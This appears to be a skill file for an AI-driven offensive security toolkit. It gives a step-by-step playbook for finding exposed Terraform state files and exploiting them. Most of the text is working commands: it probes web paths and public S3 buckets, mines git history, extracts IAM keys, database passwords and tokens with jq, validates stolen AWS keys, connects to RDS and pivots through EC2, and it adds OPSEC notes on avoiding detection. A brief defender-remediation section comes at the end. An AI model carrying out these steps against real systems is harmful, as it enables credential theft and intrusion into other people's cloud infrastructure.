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terraform-state-leak

DevOps & Security
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Exploit exposed Terraform state files — secrets, cloud creds, RDS passwords, IAM keys, and infrastructure topology in plain JSON.

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Source SKILL.md: https://github.com/PurpleAILAB/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md

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Terraform State Leak Exploitation

Terraform's terraform.tfstate file is a plaintext JSON map of every resource Terraform manages, including:

  • IAM access keys / secret keys
  • Database passwords (RDS, ElastiCache, etc.)
  • API tokens passed in as variables
  • TLS private keys
  • Resource IDs / ARNs / topology (great for follow-on attacks)

Best practice is to store it encrypted in S3 with KMS. Misconfigurations that lead to leaks:

  • S3 bucket with public-read ACL
  • S3 bucket with overly permissive policy
  • terraform.tfstate in a public Git repo (commit history!)
  • Backup terraform.tfstate.backup left in webroot
  • Jenkins workspace / GH Actions artifact exposing state

1. Discover exposed state files

Web-exposed:

# Common paths
for path in '/terraform.tfstate' '/terraform.tfstate.backup' \
            '/.terraform/terraform.tfstate' '/infra/terraform.tfstate' \
            '/deploy/terraform.tfstate' '/scripts/terraform.tfstate'; do
  curl -sf "https://$TARGET$path" -o "/tmp/tf-$(basename $path)" && \
    echo "FOUND: $TARGET$path"
done

# Or scan with feroxbuster
feroxbuster -u "https://$TARGET" -w /tmp/tf-paths.txt \
  -x tfstate,tfstate.backup,tfstate.json

S3-direct:

# Public bucket scan
aws s3 ls "s3://$BUCKET/" --no-sign-request --recursive | grep -E '\.tfstate'

# Common bucket-name patterns to enumerate
for prefix in "$ORG-terraform" "$ORG-tfstate" "$ORG-infra-state" \
              "tf-state-$ORG" "$ORG-iac" "terraform-$ORG"; do
  aws s3 ls "s3://$prefix" --no-sign-request 2>&1 | head -3
done

Git-history:

# Look for committed-then-removed state in target's public repos
gh search code "terraform.tfstate" --owner "$ORG" --json path,repository

# In a cloned repo
git log --all --full-history -- '*terraform.tfstate*'
git log -p --all --full-history -- '*terraform.tfstate*' | head -200

2. Parse the state

# Quick triage
jq '.terraform_version, .resources | length' /tmp/state.tfstate

# Extract every sensitive-looking value
jq -r '.resources[] | .instances[] | .attributes | to_entries[] |
       select(.key | test("password|secret|token|key|credential"; "i")) |
       "\(.key) = \(.value)"' /tmp/state.tfstate > /tmp/tf-secrets.txt

# IAM access keys (specifically)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
       .instances[] | .attributes |
       "\(.user) AKID:\(.id) SK:\(.secret)"' /tmp/state.tfstate

# RDS passwords
jq -r '.resources[] | select(.type=="aws_db_instance") |
       .instances[] | .attributes | "\(.identifier):\(.username):\(.password)"' \
  /tmp/state.tfstate

# Database connection URLs (often w/ embedded passwords)
jq -r '.resources[] | .instances[] | .attributes |
       to_entries[] | select(.value | tostring | test("://[^:]+:[^@]+@")) |
       .value' /tmp/state.tfstate

# Lambda env vars (often hold secrets)
jq -r '.resources[] | select(.type=="aws_lambda_function") |
       .instances[] | .attributes.environment[]?.variables' /tmp/state.tfstate

Decepticon ingest:

tfstate_audit("/tmp/state.tfstate")

3. Topology gold-mine

Beyond raw secrets, the state reveals:

  • VPC IDs / subnet IDs / security group IDs / NACL rules
  • Route 53 zones + internal DNS names
  • All resource ARNs (good for IAM policy targeting later)
  • Tags revealing org structure (environment, owner, cost-center)
  • KMS key ARNs and aliases
  • Lambda function code locations
  • ECS task definitions / cluster names
  • RDS endpoints + which security group / VPC

This data alone is high-value recon for a follow-on engagement.

4. Validate IAM keys

AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws sts get-caller-identity
# Returns the IAM ARN if valid → confirmed live cred

AWS_ACCESS_KEY_ID=$AKID AWS_SECRET_ACCESS_KEY=$SK aws iam get-user
# Get user details + creation date → know if it's a real human or service

Pivot to aws-iam-enum/SKILL.md for privesc from here.

5. RDS pivot

With password from state:

ENDPOINT=$(jq -r '.resources[] | select(.type=="aws_db_instance") |
           .instances[] | .attributes.endpoint' /tmp/state.tfstate | head -1)

# Connect (requires network reach — usually need to be in VPC or pivot)
mysql -h $ENDPOINT -u $USER -p$PASSWORD
psql -h $ENDPOINT -U $USER  # PGPASSWORD from state

If RDS isn't reachable from your perimeter: launch an EC2 in the same VPC using IAM keys from state (if the role has ec2:RunInstances), then hop through it.

6. Promote

kg_add_node(kind="vulnerability", label="Exposed Terraform state: <url>",
            props={"severity":"critical","secrets_found":<n>})
for each cred:
  kg_add_node(kind="credential", label="<service>:<value>")
  kg_add_edge(src=<vuln>, dst=<cred>, kind="exposes")

OPSEC

  • Reading a public bucket / web file leaves logs only at the storage layer (S3 access logs, CloudFront access logs)
  • Using IAM keys triggers CloudTrail events (GetCallerIdentity is benign but observable)
  • Many teams have detections for *Sandbox* / *test* IAM users being used from new IPs

CVSS

  • IAM access key from state + permissive policy: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0
  • RDS pw + DB has PII: 9.0 (network reach gates)
  • Topology disclosure only: Medium 5-6

Defender remediation

# Migrate to S3 backend with encryption + versioning
terraform {
  backend "s3" {
    bucket         = "tf-state-$ORG"
    key            = "infra.tfstate"
    region         = "us-east-1"
    encrypt        = true
    kms_key_id     = "arn:aws:kms:...:key/..."
    dynamodb_table = "tf-state-lock"
  }
}

# Verify bucket policy denies public access
aws s3api put-public-access-block --bucket tf-state-$ORG \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

# Scan repos for committed state files
git log --all --full-history -- '*tfstate*' && \
  echo "DELETE COMMIT HISTORY containing state files (use BFG repo-cleaner)"

Known exemplars

  • 2019: Capital One subsidiary leaked tfstate w/ RDS creds → DB exfil
  • 2021: Multiple Fortune-500 had tfstate in public S3 (Detectify scan)
  • 2023: GitHub Actions misconfig where tfstate was uploaded as artifact, downloadable without auth
  • Pattern: terraform-cli running in CI without explicit -backend-config=encrypt=true defaults to local state which lands in artifact storage